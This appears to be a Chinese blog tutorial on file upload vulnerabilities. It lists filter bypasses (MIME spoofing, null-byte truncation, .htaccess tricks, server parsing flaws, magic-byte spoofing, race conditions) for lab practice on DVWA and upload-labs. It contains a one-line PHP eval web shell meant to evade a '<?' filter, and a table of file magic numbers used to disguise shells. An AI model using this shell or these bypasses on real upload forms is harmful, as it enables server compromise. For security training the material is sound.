文件上传漏洞原理

常用防御方式和常用防御方式的绕过

一、前端JS检测

二、MIME检测

三、白名单检测

%00截断

0x00截断

 四、黑名单绕过

文件拓展名绕过

.htaccess文件绕过 

 .user.ini.绕过

apache解析漏洞 

 IIS解析漏洞

Nginx解析漏洞 

widows系统文件命名规则的特殊利用 

 五、文件内容检测

①文件头检测

②shell检测

六、条件竞争

靶场实战


 

 

 

 利用BP直接修改Content-Type值来绕过

simple.php%00.jpg-->simple.php

文件存储时的后缀名为.php是可以被解析成php文件的,从而实现绕过

 我这里添加个+号是方便识别的

将这个"2b"改为00并发送就可以成功绕过了

 

 

 

 或者在文件头部添加文件幻数

JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864

②shell检测

之前做过一道CTF题禁止了文件内容中出现<?

<script language="php">eval($_POST['pass']);</script>

可以用此来绕过

六、条件竞争

条件竞争漏洞(Race condition)官方概念是——竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。服务器对上传文件的操作大多数都是单线程处理,当我们执行多个线程时可以绕过一些服务器端的防御。

 如:利用条件竞争绕过文件删除等等

靶场实战

PIKACHU

DVWA

upload-labs上(1-12)

upload-labs下(13-21)

点赞(15) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部